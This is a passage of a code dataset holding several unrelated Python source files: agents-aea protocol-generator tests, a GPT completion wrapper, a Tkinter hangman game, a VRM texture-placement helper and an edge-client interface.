...], Dict[str,str]]\",\n )\n assert _get_sub_types_of_compositional_types(composition_type_11) == expected_11\n\n def test_get_sub_types_of_compositional_types_negative(\n self,\n ):\n \"\"\"Negative test the '_get_sub_types_of_compositional_types' method\"\"\"\n composition_type_1 = \"pt:int\"\n with self.assertRaises(SyntaxError) as cm:\n _get_sub_types_of_compositional_types(composition_type_1)\n self.assertEqual(\n str(cm.exception),\n \"{} is not a valid compositional type.\".format(composition_type_1),\n )\n\n composition_type_2 = \"pt:int[pt:DataModel]\"\n with self.assertRaises(SyntaxError) as cm:\n _get_sub_types_of_compositional_types(composition_type_2)\n self.assertEqual(\n str(cm.exception),\n \"{} is not a valid compositional type.\".format(composition_type_2),\n )\n\n composition_type_3 = \"pt:dict[pt:set[int, pt:list[pt:bool]]\"\n with self.assertRaises(SyntaxError) as cm:\n _get_sub_types_of_compositional_types(composition_type_3)\n self.assertEqual(\n str(cm.exception),\n \"Bad formatting. No matching close bracket ']' for the open bracket at pt:set[\",\n )\n\n def test_union_sub_type_to_protobuf_variable_name(\n self,\n ):\n \"\"\"Test the '_union_sub_type_to_protobuf_variable_name' method\"\"\"\n content_name = \"proposal\"\n\n content_type_1 = \"FrozenSet[int]\"\n assert (\n _union_sub_type_to_protobuf_variable_name(content_name, content_type_1)\n == \"proposal_type_set_of_int\"\n )\n\n content_type_2 = \"Tuple[str, ...]\"\n assert (\n _union_sub_type_to_protobuf_variable_name(content_name, content_type_2)\n == \"proposal_type_list_of_str\"\n )\n\n content_type_3 = \"Dict[bool, float]\"\n assert (\n _union_sub_type_to_protobuf_variable_name(content_name, content_type_3)\n == \"proposal_type_dict_of_bool_float\"\n )\n\n content_type_4 = \"int\"\n assert (\n _union_sub_type_to_protobuf_variable_name(content_name, content_type_4)\n == \"proposal_type_int\"\n )\n\n content_type_5 = \"DataModel\"\n assert (\n _union_sub_type_to_protobuf_variable_name(content_name, content_type_5)\n == \"proposal_type_DataModel\"\n )\n\n def test_python_pt_or_ct_type_to_proto_type(\n self,\n ):\n \"\"\"Test the '_python_pt_or_ct_type_to_proto_type' method\"\"\"\n content_type_bytes = \"bytes\"\n assert _python_pt_or_ct_type_to_proto_type(content_type_bytes) == \"bytes\"\n\n content_type_int = \"int\"\n assert _python_pt_or_ct_type_to_proto_type(content_type_int) == \"int64\"\n\n content_type_float = \"float\"\n assert _python_pt_or_ct_type_to_proto_type(content_type_float) == \"float\"\n\n content_type_bool = \"bool\"\n assert _python_pt_or_ct_type_to_proto_type(content_type_bool) == \"bool\"\n\n content_type_str = \"str\"\n assert _python_pt_or_ct_type_to_proto_type(content_type_str) == \"string\"\n\n content_type_ct = \"Query\"\n assert _python_pt_or_ct_type_to_proto_type(content_type_ct) == \"Query\"\n\n def test_includes_custom_type(\n self,\n ):\n \"\"\"Test the '_includes_custom_type' method\"\"\"\n content_type_includes_1 = \"Optional[DataModel]\"\n assert _includes_custom_type(content_type_includes_1) is True\n\n content_type_includes_2 = \"Union[int, DataModel]\"\n assert _includes_custom_type(content_type_includes_2) is True\n\n content_type_includes_3 = \"Optional[Union[int, float, DataModel, Query, float]]\"\n assert _includes_custom_type(content_type_includes_3) is True\n\n content_type_not_includes_1 = \"Optional[int]\"\n assert _includes_custom_type(content_type_not_includes_1) is False\n\n content_type_not_includes_2 = \"Union[int, float, str]\"\n assert _includes_custom_type(content_type_not_includes_2) is False\n\n content_type_not_includes_3 = (\n \"Optional[Union[int, float, FrozenSet[int], Tuple[bool, ...], float]]\"\n )\n assert _includes_custom_type(content_type_not_includes_3) is False\n\n @mock.patch(\"shutil.which\", return_value=\"some string\")\n def test_is_installed_positive(self, mocked_shutil_which):\n \"\"\"Positive test for the 'is_installed' method\"\"\"\n assert is_installed(\"some_programme\") is True\n\n @mock.patch(\"shutil.which\", return_value=None)\n def test_is_installed_negative(self, mocked_shutil_which):\n \"\"\"Negative test for the 'is_installed' method: programme is not installed\"\"\"\n assert is_installed(\"some_programme\") is False\n\n def test_base_protolint_command(self):\n \"\"\"Tests the 'base_protolint_command' method\"\"\"\n assert (\n base_protolint_command() == \"protolint\"\n or \"PATH=${PATH}:${GOPATH}/bin/:~/go/bin protolint\"\n )\n\n @mock.patch(\"aea.protocols.generator.common.is_installed\", return_value=True)\n def test_check_prerequisites_positive(self, mocked_is_installed):\n \"\"\"Positive test for the 'check_prerequisites' method\"\"\"\n try:\n check_prerequisites()\n except FileNotFoundError:\n self.assertTrue(False)\n\n @mock.patch(\n \"aea.protocols.generator.common.is_installed\",\n side_effect=black_is_not_installed_side_effect,\n )\n def test_check_prerequisites_negative_black_is_not_installed(\n self, mocked_is_installed\n ):\n \"\"\"Negative test for the 'check_prerequisites' method: black isn't installed\"\"\"\n with self.assertRaises(FileNotFoundError):\n check_prerequisites()\n\n @mock.patch(\n \"aea.protocols.generator.common.is_installed\",\n side_effect=isort_is_not_installed_side_effect,\n )\n def test_check_prerequisites_negative_isort_is_not_installed(\n self, mocked_is_installed\n ):\n \"\"\"Negative test for the 'check_prerequisites' method: isort isn't installed\"\"\"\n with self.assertRaises(FileNotFoundError):\n check_prerequisites()\n\n @mock.patch(\n \"aea.protocols.generator.common.subprocess.call\",\n return_value=1,\n )\n def test_check_prerequisites_negative_protolint_is_not_installed(\n self, mocked_is_installed\n ):\n \"\"\"Negative test for the 'check_prerequisites' method: protolint isn't installed\"\"\"\n with self.assertRaises(FileNotFoundError):\n check_prerequisites()\n\n @mock.patch(\n \"aea.protocols.generator.common.is_installed\",\n side_effect=protoc_is_not_installed_side_effect,\n )\n def test_check_prerequisites_negative_protoc_is_not_installed(\n self, mocked_is_installed\n ):\n \"\"\"Negative test for the 'check_prerequisites' method: protoc isn't installed\"\"\"\n with self.assertRaises(FileNotFoundError):\n check_prerequisites()\n\n def test_load_protocol_specification(\n self,\n ):\n \"\"\"Test the 'load_protocol_specification' method\"\"\"\n spec = load_protocol_specification(PATH_TO_T_PROTOCOL_SPECIFICATION)\n assert spec.name == T_PROTOCOL_NAME\n assert spec.version == \"0.1.0\"\n assert spec.author == \"fetchai\"\n assert spec.license == \"Apache-2.0\"\n assert spec.aea_version == \">=1.0.0, <2.0.0\"\n assert spec.description == \"A protocol for testing purposes.\"\n assert spec.speech_acts is not None\n assert spec.protobuf_snippets is not None and spec.protobuf_snippets != \"\"\n\n def test_create_protocol_file(\n self,\n ):\n \"\"\"Test the '_create_protocol_file' method\"\"\"\n file_name = \"temp_file\"\n file_content = \"this is a temporary file\"\n\n _create_protocol_file(self.t, file_name, file_content)\n path_to_the_file = os.path.join(self.t, file_name)\n\n assert Path(path_to_the_file).exists()\n assert Path(path_to_the_file).read_text() == file_content\n\n @mock.patch(\"subprocess.run\")\n def test_try_run_black_formatting(self, mocked_subprocess):\n \"\"\"Test the 'try_run_black_formatting' method\"\"\"\n try_run_black_formatting(\"some_path\")\n mocked_subprocess.assert_called_once()\n\n @mock.patch(\"subprocess.run\")\n def test_try_run_isort_formatting(self, mocked_subprocess):\n \"\"\"Test the 'try_run_isort_formatting' method\"\"\"\n try_run_isort_formatting(\"some_path\")\n mocked_subprocess.assert_called_once()\n\n @mock.patch(\"subprocess.run\")\n def test_try_run_protoc(self, mocked_subprocess):\n \"\"\"Test the 'try_run_protoc' method\"\"\"\n try_run_protoc(\"some_path\", \"some_name\")\n mocked_subprocess.assert_called_once()\n\n @mock.patch(\"subprocess.run\")\n def test_try_run_protolint(self, mocked_subprocess):\n \"\"\"Test the 'try_run_protolint' method\"\"\"\n try_run_protoc(\"some_path\", \"some_name\")\n mocked_subprocess.assert_called_once()\n\n @mock.patch(\"aea.protocols.generator.common.try_run_protoc\")\n def test_check_protobuf_using_protoc_positive(self, mocked_try_run_protoc):\n \"\"\"Positive test for the 'check_protobuf_using_protoc' method\"\"\"\n protocol_name = \"protocol_name\"\n file_name = protocol_name + \"_pb2.py\"\n\n new_file = open(os.path.join(self.t, file_name), \"w+\")\n new_file.close()\n result, msg = check_protobuf_using_protoc(self.t, protocol_name)\n\n assert not Path(self.t, file_name).exists()\n assert result is True\n assert msg == \"protobuf file is valid\"\n\n @mock.patch(\n \"subprocess.run\",\n side_effect=CalledProcessError(\n 1, \"some_command\", stderr=\"name.proto:12:45: some_protoc_error\\n\"\n ),\n )\n def test_check_protobuf_using_protoc_nagative(self, mocked_subprocess):\n \"\"\"Negative test for the 'check_protobuf_using_protoc' method: protoc has some errors\"\"\"\n result, msg = check_protobuf_using_protoc(\"some_path\", \"name\")\n assert result is False\n assert msg == \"some_protoc_error\"\n\n @mock.patch(\"aea.protocols.generator.common.try_run_protoc\")\n def test_compile_protobuf_using_protoc_positive(self, mocked_try_run_protoc):\n \"\"\"Positive test for the 'compile_protobuf_using_protoc' method\"\"\"\n protocol_name = \"protocol_name\"\n\n result, msg = compile_protobuf_using_protoc(self.t, protocol_name, \"python\")\n\n mocked_try_run_protoc.assert_called_once()\n assert result is True\n assert msg == \"protobuf schema successfully compiled\"\n\n @mock.patch(\n \"subprocess.run\",\n side_effect=CalledProcessError(\n 1, \"some_command\", stderr=\"protocol_name.proto:12:45: some_protoc_error\\n\"\n ),\n )\n def test_compile_protobuf_using_protoc_nagative(self, mocked_subprocess):\n \"\"\"Negative test for the 'check_protobuf_using_protoc' method: protoc has some errors\"\"\"\n protocol_name = \"protocol_name\"\n result, msg = compile_protobuf_using_protoc(self.t, protocol_name, \"python\")\n assert result is False\n assert msg == \"some_protoc_error\"\n\n @mock.patch(\"aea.protocols.generator.common.try_run_protolint\")\n def test_apply_protolint_positive(self, mocked_try_run_protoc):\n \"\"\"Positive test for the 'apply_protolint' method\"\"\"\n protocol_name = \"protocol_name\"\n\n result, msg = apply_protolint(self.t, protocol_name)\n\n mocked_try_run_protoc.assert_called_once()\n assert result is True\n assert msg == \"protolint has no output\"\n\n @mock.patch(\n \"subprocess.run\",\n side_effect=CalledProcessError(\n 1,\n \"some_command\",\n stderr=\"protocol_name.proto:12:45: some_protoc_error\\nprotocol_name.proto:12:45: incorrect indentation style ...\",\n ),\n )\n def test_apply_protolint_nagative(self, mocked_subprocess):\n \"\"\"Negative test for the 'apply_protolint' method: protoc has some errors\"\"\"\n protocol_name = \"protocol_name\"\n result, msg = apply_protolint(self.t, protocol_name)\n assert result is False\n assert msg == \"protocol_name.proto:12:45: some_protoc_error\"\n\n @classmethod\n def teardown_class(cls):\n \"\"\"Tear the test down.\"\"\"\n os.chdir(cls.cwd)\n try:\n shutil.rmtree(cls.t)\n except (OSError, IOError):\n pass\n","repo_name":"fetchai/agents-aea","sub_path":"tests/test_aea/test_protocols/test_generator/test_common.py","file_name":"test_common.py","file_ext":"py","file_size_in_byte":20321,"program_lang":"python","lang":"en","doc_type":"code","stars":182,"dataset":"github-code","pt":"68"}
+{"seq_id":"5044456556","text":"\"\"\"Contains classes for querying large language models.\"\"\"\nfrom math import ceil\nimport os\nimport time\nfrom tqdm import tqdm\nfrom abc import ABC, abstractmethod\n\nimport openai\n\ngpt_costs_per_thousand = {\n 'davinci': 0.0200,\n 'curie': 0.0020,\n 'babbage': 0.0005,\n 'ada': 0.0004\n}\n\n\ndef model_from_config(config, disable_tqdm=True):\n \"\"\"Returns a model based on the config.\"\"\"\n model_type = config[\"name\"]\n if model_type == \"GPT_forward\":\n return GPT_Forward(config, disable_tqdm=disable_tqdm)\n elif model_type == \"GPT_insert\":\n return GPT_Insert(config, disable_tqdm=disable_tqdm)\n raise ValueError(f\"Unknown model type: {model_type}\")\n\n\nclass LLM(ABC):\n \"\"\"Abstract base class for large language models.\"\"\"\n\n @abstractmethod\n def generate_text(self, prompt):\n \"\"\"Generates text from the model.\n Parameters:\n prompt: The prompt to use. This can be a string or a list of strings.\n Returns:\n A list of strings.\n \"\"\"\n pass\n\n @abstractmethod\n def log_probs(self, text, log_prob_range):\n \"\"\"Returns the log probs of the text.\n Parameters:\n text: The text to get the log probs of. This can be a string or a list of strings.\n log_prob_range: The range of characters within each string to get the log_probs of. \n This is a list of tuples of the form (start, end).\n Returns:\n A list of log probs.\n \"\"\"\n pass\n\n\nclass GPT_Forward(LLM):\n \"\"\"Wrapper for GPT-3.\"\"\"\n\n def __init__(self, config, needs_confirmation=False, disable_tqdm=True):\n \"\"\"Initializes the model.\"\"\"\n self.config = config\n self.needs_confirmation = needs_confirmation\n self.disable_tqdm = disable_tqdm\n\n def confirm_cost(self, texts, n, max_tokens):\n total_estimated_cost = 0\n for text in texts:\n total_estimated_cost += gpt_get_estimated_cost(\n self.config, text, max_tokens) * n\n print(f\"Estimated cost: ${total_estimated_cost:.2f}\")\n # Ask the user to confirm in the command line\n if os.getenv(\"LLM_SKIP_CONFIRM\") is None:\n confirm = input(\"Continue? (y/n) \")\n if confirm != 'y':\n raise Exception(\"Aborted.\")\n\n def auto_reduce_n(self, fn, prompt, n):\n \"\"\"Reduces n by half until the function succeeds.\"\"\"\n try:\n return fn(prompt, n)\n except BatchSizeException as e:\n if n == 1:\n raise e\n return self.auto_reduce_n(fn, prompt, n // 2) + self.auto_reduce_n(fn, prompt, n // 2)\n\n def generate_text(self, prompt, n):\n if not isinstance(prompt, list):\n prompt = [prompt]\n if self.needs_confirmation:\n self.confirm_cost(\n prompt, n, self.config['gpt_config']['max_tokens'])\n batch_size = self.config['batch_size']\n prompt_batches = [prompt[i:i + batch_size]\n for i in range(0, len(prompt), batch_size)]\n if not self.disable_tqdm:\n print(\n f\"[{self.config['name']}] Generating {len(prompt) * n} completions, \"\n f\"split into {len(prompt_batches)} batches of size {batch_size * n}\")\n text = []\n\n for prompt_batch in tqdm(prompt_batches, disable=self.disable_tqdm):\n text += self.auto_reduce_n(self.__generate_text, prompt_batch, n)\n return text\n\n def complete(self, prompt, n):\n \"\"\"Generates text from the model and returns the log prob data.\"\"\"\n if not isinstance(prompt, list):\n prompt = [prompt]\n batch_size = self.config['batch_size']\n prompt_batches = [prompt[i:i + batch_size]\n for i in range(0, len(prompt), batch_size)]\n if not self.disable_tqdm:\n print(\n f\"[{self.config['name']}] Generating {len(prompt) * n} completions, \"\n f\"split into {len(prompt_batches)} batches of size {batch_size * n}\")\n res = []\n for prompt_batch in tqdm(prompt_batches, disable=self.disable_tqdm):\n res += self.__complete(prompt_batch, n)\n return res\n\n def log_probs(self, text, log_prob_range=None):\n \"\"\"Returns the log probs of the text.\"\"\"\n if not isinstance(text, list):\n text = [text]\n if self.needs_confirmation:\n self.confirm_cost(text, 1, 0)\n batch_size = self.config['batch_size']\n text_batches = [text[i:i + batch_size]\n for i in range(0, len(text), batch_size)]\n if log_prob_range is None:\n log_prob_range_batches = [None] * len(text)\n else:\n assert len(log_prob_range) == len(text)\n log_prob_range_batches = [log_prob_range[i:i + batch_size]\n for i in range(0, len(log_prob_range), batch_size)]\n if not self.disable_tqdm:\n print(\n f\"[{self.config['name']}] Getting log probs for {len(text)} strings, \"\n f\"split into {len(text_batches)} batches of (maximum) size {batch_size}\")\n log_probs = []\n tokens = []\n for text_batch, log_prob_range in tqdm(list(zip(text_batches, log_prob_range_batches)),\n disable=self.disable_tqdm):\n log_probs_batch, tokens_batch = self.__log_probs(\n text_batch, log_prob_range)\n log_probs += log_probs_batch\n tokens += tokens_batch\n return log_probs, tokens\n\n def __generate_text(self, prompt, n):\n \"\"\"Generates text from the model.\"\"\"\n if not isinstance(prompt, list):\n text = [prompt]\n config = self.config['gpt_config'].copy()\n config['n'] = n\n # If there are any [APE] tokens in the prompts, remove them\n for i in range(len(prompt)):\n prompt[i] = prompt[i].replace('[APE]', '').strip()\n response = None\n while response is None:\n try:\n response = openai.Completion.create(\n **config, prompt=prompt)\n except Exception as e:\n if 'is greater than the maximum' in str(e):\n raise BatchSizeException()\n print(e)\n print('Retrying...')\n time.sleep(5)\n\n return [response['choices'][i]['text'] for i in range(len(response['choices']))]\n\n def __complete(self, prompt, n):\n \"\"\"Generates text from the model and returns the log prob data.\"\"\"\n if not isinstance(prompt, list):\n text = [prompt]\n config = self.config['gpt_config'].copy()\n config['n'] = n\n # If there are any [APE] tokens in the prompts, remove them\n for i in range(len(prompt)):\n prompt[i] = prompt[i].replace('[APE]', '').strip()\n response = None\n while response is None:\n try:\n response = openai.Completion.create(\n **config, prompt=prompt)\n except Exception as e:\n print(e)\n print('Retrying...')\n time.sleep(5)\n return response['choices']\n\n def __log_probs(self, text, log_prob_range=None):\n \"\"\"Returns the log probs of the text.\"\"\"\n if not isinstance(text, list):\n text = [text]\n if log_prob_range is not None:\n for i in range(len(text)):\n lower_index, upper_index = log_prob_range[i]\n assert lower_index < upper_index\n assert lower_index >= 0\n assert upper_index - 1 < len(text[i])\n config = self.config['gpt_config'].copy()\n config['logprobs'] = 1\n config['echo'] = True\n config['max_tokens'] = 0\n if isinstance(text, list):\n text = [f'\\n{text[i]}' for i in range(len(text))]\n else:\n text = f'\\n{text}'\n response = None\n while response is None:\n try:\n response = openai.Completion.create(\n **config, prompt=text)\n except Exception as e:\n print(e)\n print('Retrying...')\n time.sleep(5)\n log_probs = [response['choices'][i]['logprobs']['token_logprobs'][1:]\n for i in range(len(response['choices']))]\n tokens = [response['choices'][i]['logprobs']['tokens'][1:]\n for i in range(len(response['choices']))]\n offsets = [response['choices'][i]['logprobs']['text_offset'][1:]\n for i in range(len(response['choices']))]\n\n # Subtract 1 from the offsets to account for the newline\n for i in range(len(offsets)):\n offsets[i] = [offset - 1 for offset in offsets[i]]\n\n if log_prob_range is not None:\n # First, we need to find the indices of the tokens in the log probs\n # that correspond to the tokens in the log_prob_range\n for i in range(len(log_probs)):\n lower_index, upper_index = self.get_token_indices(\n offsets[i], log_prob_range[i])\n log_probs[i] = log_probs[i][lower_index:upper_index]\n tokens[i] = tokens[i][lower_index:upper_index]\n\n return log_probs, tokens\n\n def get_token_indices(self, offsets, log_prob_range):\n \"\"\"Returns the indices of the tokens in the log probs that correspond to the tokens in the log_prob_range.\"\"\"\n # For the lower index, find the highest index that is less than or equal to the lower index\n lower_index = 0\n for i in range(len(offsets)):\n if offsets[i] <= log_prob_range[0]:\n lower_index = i\n else:\n break\n\n upper_index = len(offsets)\n for i in range(len(offsets)):\n if offsets[i] >= log_prob_range[1]:\n upper_index = i\n break\n\n return lower_index, upper_index\n\n\nclass GPT_Insert(LLM):\n\n def __init__(self, config, needs_confirmation=False, disable_tqdm=True):\n \"\"\"Initializes the model.\"\"\"\n self.config = config\n self.needs_confirmation = needs_confirmation\n self.disable_tqdm = disable_tqdm\n\n def confirm_cost(self, texts, n, max_tokens):\n total_estimated_cost = 0\n for text in texts:\n total_estimated_cost += gpt_get_estimated_cost(\n self.config, text, max_tokens) * n\n print(f\"Estimated cost: ${total_estimated_cost:.2f}\")\n # Ask the user to confirm in the command line\n if os.getenv(\"LLM_SKIP_CONFIRM\") is None:\n confirm = input(\"Continue? (y/n) \")\n if confirm != 'y':\n raise Exception(\"Aborted.\")\n\n def auto_reduce_n(self, fn, prompt, n):\n \"\"\"Reduces n by half until the function succeeds.\"\"\"\n try:\n return fn(prompt, n)\n except BatchSizeException as e:\n if n == 1:\n raise e\n return self.auto_reduce_n(fn, prompt, n // 2) + self.auto_reduce_n(fn, prompt, n // 2)\n\n def generate_text(self, prompt, n):\n if not isinstance(prompt, list):\n prompt = [prompt]\n if self.needs_confirmation:\n self.confirm_cost(\n prompt, n, self.config['gpt_config']['max_tokens'])\n batch_size = self.config['batch_size']\n assert batch_size == 1\n prompt_batches = [prompt[i:i + batch_size]\n for i in range(0, len(prompt), batch_size)]\n if not self.disable_tqdm:\n print(\n f\"[{self.config['name']}] Generating {len(prompt) * n} completions, split into {len(prompt_batches)} batches of (maximum) size {batch_size * n}\")\n text = []\n for prompt_batch in tqdm(prompt_batches, disable=self.disable_tqdm):\n text += self.auto_reduce_n(self.__generate_text, prompt_batch, n)\n return text\n\n def log_probs(self, text, log_prob_range=None):\n raise NotImplementedError\n\n def __generate_text(self, prompt, n):\n \"\"\"Generates text from the model.\"\"\"\n config = self.config['gpt_config'].copy()\n config['n'] = n\n # Split prompts into prefixes and suffixes with the [APE] token (do not include the [APE] token in the suffix)\n prefix = prompt[0].split('[APE]')[0]\n suffix = prompt[0].split('[APE]')[1]\n response = None\n while response is None:\n try:\n response = openai.Completion.create(\n **config, prompt=prefix, suffix=suffix)\n except Exception as e:\n print(e)\n print('Retrying...')\n time.sleep(5)\n\n # Remove suffix from the generated text\n texts = [response['choices'][i]['text'].replace(suffix, '') for i in range(len(response['choices']))]\n return texts\n\n\ndef gpt_get_estimated_cost(config, prompt, max_tokens):\n \"\"\"Uses the current API costs/1000 tokens to estimate the cost of generating text from the model.\"\"\"\n # Get rid of [APE] token\n prompt = prompt.replace('[APE]', '')\n # Get the number of tokens in the prompt\n n_prompt_tokens = len(prompt) // 4\n # Get the number of tokens in the generated text\n total_tokens = n_prompt_tokens + max_tokens\n engine = config['gpt_config']['model'].split('-')[1]\n costs_per_thousand = gpt_costs_per_thousand\n if engine not in costs_per_thousand:\n # Try as if it is a fine-tuned model\n engine = config['gpt_config']['model'].split(':')[0]\n costs_per_thousand = {\n 'davinci': 0.1200,\n 'curie': 0.0120,\n 'babbage': 0.0024,\n 'ada': 0.0016\n }\n price = costs_per_thousand[engine] * total_tokens / 1000\n return price\n\n\nclass BatchSizeException(Exception):\n pass\n","repo_name":"OpenBMB/BMTools","sub_path":"bmtools/tools/db_diag/utils/llm.py","file_name":"llm.py","file_ext":"py","file_size_in_byte":13906,"program_lang":"python","lang":"en","doc_type":"code","stars":2723,"dataset":"github-code","pt":"68"}
+{"seq_id":"23777995784","text":"# -*- coding: utf-8 -*-\n#Fabricio de Lima Ribeiro\n#12/11/2020\n#Jogo da forca\n\nfrom tkinter import *\n\ndef jogar():\n\n\tglobal palavra\n\tpalavra = txt_palavra.get()\n\ttxt_palavra.delete(0, 'end')\n\tglobal tamanho\n\ttamanho = len(palavra)\n\t\n\tglobal label\n\tlabel = {}\n\n\tfor i in range(0, tamanho):\n\t lb = Label(app, text=\" ___ \")\n\t lb.place(x=i*30, y=120)\n\t label[i] = lb\n\n\ndef advinhar():\n\tletra = txt_letra.get()\n\ttxt_letra.delete(0, 'end')\n\n\tfor i in range(0, tamanho):\n\t\tif letra == palavra[i]:\n\t\t\tlabel[i]['text'] = palavra[i]\n\t\n\napp = Tk()\napp.title(\"Jogo da forca\")\napp.geometry(\"500x300\")\n\n#Entra com a palavra\nlb_1 = Label(app, text=\"Entre com a palavra: \")\nlb_1.place(x=5, y=6)\n\ntxt_palavra = Entry(app, bg=\"white\", width=15)\ntxt_palavra.place(x=150, y=7)\n\nbtn_jogar = Button(app, text=\"Jogar\", command=jogar)\nbtn_jogar.place(x=280, y=4)\n\n#Entra com a letra\nlb_3 = Label(app, text=\"Entre com uma letra: \")\nlb_3.place(x=5, y=56)\n\ntxt_letra = Entry(app, bg=\"white\", width=15)\ntxt_letra.place(x=150, y=57)\n\nbtn_letra = Button(app, text=\"advinhar\", command=advinhar)\nbtn_letra.place(x=280, y=54)\n\napp.mainloop()","repo_name":"fabricioitajuba/Python","sub_path":"Jogos/forca.py","file_name":"forca.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"2379478993","text":"#!/usr/bin/env python\nfrom typing import List\n\n\ndef startswith(start_match: str, targets: List[str]) -> bool:\n # リスト内要素のstartswith\n for e in targets:\n if e.startswith(start_match):\n return True\n return False\n\n\ndef contains(start_match: str, targets: List[str]) -> bool:\n # リスト内要素のstartswith\n for e in targets:\n if start_match in e:\n return True\n return False\n\n\ndef get_cloth_place(gltf: dict) -> dict:\n \"\"\"\n 服のテクスチャの配置を決める\n :param gltf: glTFオブジェクト(VRM拡張を含む)\n :return: 配置座標と配置サイズ\n \"\"\"\n material_names = [material['name'] for material in gltf['materials']]\n has_tops = contains('_Tops_', material_names)\n has_accessory = contains('_Accessory_', material_names)\n has_shoes = contains('_Shoes_', material_names)\n has_bottom = contains('_Bottoms_', material_names)\n is_skirt = startswith('F00_001_01_Bottoms_', material_names) or startswith('M00_003_01_Bottoms_', material_names)\n\n place = {}\n main = None # 結合先マテリアル\n ox, oy = 0, 0 # オフセット\n\n if has_bottom:\n main = main or '_Bottoms_'\n place['_Bottoms_'] = {'pos': (0, oy), 'size': (1024, 1024)}\n oy = 1024\n if is_skirt:\n place['_Bottoms_']['size'] = (1024, 512)\n oy = 512\n \n if has_shoes:\n main = main or '_Shoes_'\n place['_Shoes_'] = {'pos': (0, oy), 'size': (512, 512)}\n ox = ox + 512\n\n if has_accessory:\n main = main or '_Accessory_' \n place['_Accessory_'] = {'pos': (512, oy), 'size': (512, 512)}\n\n if not main:\n return {} # 素体の場合\n\n return {'main': main, 'place': place}\n","repo_name":"hirune4791dev/VReducer","sub_path":"vrm/placer.py","file_name":"placer.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"}
+{"seq_id":"41567907350","text":"from abc import ABCMeta\nfrom abc import abstractmethod\nfrom enum import Enum\n\n\n# INTERFACE\n\nclass EdgeClient(object):\n \"\"\"The EdgeClient class is an interface for creating edge client classes.\"\"\"\n __metaclass__ = ABCMeta\n\n @abstractmethod\n def connect(self):\n \"\"\"Connect to the core.\"\"\"\n raise NotImplementedError('You must define \"connect()\" to use the '\n '\"EdgeClient\" class.')\n\n @abstractmethod\n def disconnect(self):\n \"\"\"Disconnect from the core.\"\"\"\n raise NotImplementedError('You must define \"disconnect()\" to use the '\n '\"EdgeClient\" class.')\n\n @abstractmethod\n def publish(self, topic, payload, qos):\n \"\"\"Publish a new message to the desired topic with the given quality of\n service.\n\n :param topic: Topic name to publish to.\n :type topic: str\n\n :param payload: Payload to publish (JSON formatted string).\n :type payload: str\n\n :param qos: Quality of Service. Could be \"0\" or \"1\".\n :type qos: int\n \"\"\"\n raise NotImplementedError('You must define \"publish()\" to use the '\n '\"EdgeClient\" class.')\n\n @abstractmethod\n def subscribe(self, topic, qos, callback):\n \"\"\"Subscribe to the desired topic with the given quality of service and\n register a callback to handle the published messages.\n\n :param topic: Topic name to publish to.\n :type topic: str\n\n :param qos: Quality of Service. Could be \"0\" or \"1\".\n :type qos: int\n\n :param callback: Function to be called when a new message for the\n subscribed topic comes in.\n \"\"\"\n raise NotImplementedError('You must define \"subscribe()\" to use the '\n '\"EdgeClient\" class.')\n\n @abstractmethod\n def unsubscribe(self, topic):\n \"\"\"Unsubscribe from the desired topic.\n\n :param topic: Topic name to unsubscribe from.\n :type topic: str\n \"\"\"\n raise NotImplementedError('You must define \"unsubscribe()\" to use the '\n '\"EdgeClient\" class.')\n\n @abstractmethod\n def get_shadow_state(self, callback, timeout_s):\n \"\"\"Get the state of the shadow client.\n\n Retrieve the device shadow JSON document from the cloud by publishing an\n empty JSON document to the corresponding shadow topics.\n\n :param callback: Function to be called when the response for a shadow\n request comes back.\n\n :param timeout_s: Timeout in seconds to perform the request.\n :type timeout_s: int\n \"\"\"\n raise NotImplementedError('You must define \"get_shadow()\" to use the '\n '\"EdgeClient\" class.')\n\n @abstractmethod\n def update_shadow_state(self, payload, callback, timeout_s):\n \"\"\"Update the state of the shadow client.\n\n Update the device shadow JSON document string on the cloud by publishing\n the provided JSON document to the corresponding shadow topics.\n\n :param payload: JSON document string used to update the shadow JSON\n document on the cloud.\n :type payload: json\n\n :param callback: Function to be called when the response for a shadow\n request comes back.\n\n :param timeout_s: Timeout in seconds to perform the request.\n :type timeout_s: int\n \"\"\"\n raise NotImplementedError('You must define \"update_shadow()\" to use the '\n '\"EdgeClient\" class.')\n\n @abstractmethod\n def delete_shadow_state(self, callback, timeout_s):\n \"\"\"Delete the state of the shadow client.\n \n Delete the device shadow from the cloud by publishing an empty JSON\n document to the corresponding shadow topics.\n\n :param callback: Function to be called when the response for a shadow\n request comes back.\n\n :param timeout_s: Timeout in seconds to perform the request.\n :type timeout_s: int\n \"\"\"\n raise NotImplementedError('You must define \"delete_shadow()\" to use the '\n '\"EdgeClient\" class.')\n\n @abstractmethod\n def add_listener(self, listener):\n \"\"\"Add a listener.\n \n :param listener: Listener to be added.\n :type listener: :class:`edge_st_sdk.edge_client.EdgeClientListener`\n \"\"\"\n raise NotImplementedError('You must define \"add_listener()\" to use the '\n '\"EdgeClient\" class.')\n\n @abstractmethod\n def remove_listener(self, listener):\n \"\"\"Remove a listener.\n\n :param listener: Listener to be removed.\n :type listener: :class:`edge_st_sdk.edge_client.EdgeClientListener`\n \"\"\"\n raise NotImplementedError('You must define \"remove_listener()\" to use '\n 'the \"EdgeClient\" class.')\n\n @abstractmethod\n def _update_status(self, new_status):\n \"\"\"Update the status of the client.\n\n :param new_status: New status.\n :type new_status: :class:`edge_st_sdk.edge_client.EdgeClientStatus`\n \"\"\"\n raise NotImplementedError('You must define \"_update_client_status()\" to '\n 'use the \"EdgeClient\" class.')\n\n\nclass EdgeClientStatus(Enum):\n \"\"\"Status of the client.\"\"\"\n\n INIT = 'INIT'\n \"\"\"Dummy initial status.\"\"\"\n\n IDLE = 'IDLE'\n \"\"\"Waiting for a connection and sending advertising data.\"\"\"\n\n CONNECTING = 'CONNECTING'\n \"\"\"Opening a connection with the client.\"\"\"\n\n CONNECTED = 'CONNECTED'\n \"\"\"Connected to the client.\"\"\"\n\n DISCONNECTING = 'DISCONNECTING'\n \"\"\"Closing the connection to the client.\"\"\"\n\n UNREACHABLE = 'UNREACHABLE'\n \"\"\"The client disappeared without first disconnecting.\"\"\"\n\n\n# INTERFACES\n\nclass EdgeClientListener(object):\n \"\"\"Interface used by the :class:`edge_st_sdk.edge_client.EdgeClient` class\n to notify changes of a client's status.\n \"\"\"\n __metaclass__ = ABCMeta\n\n @abstractmethod\n def on_status_change(self, client, new_status, old_status):\n 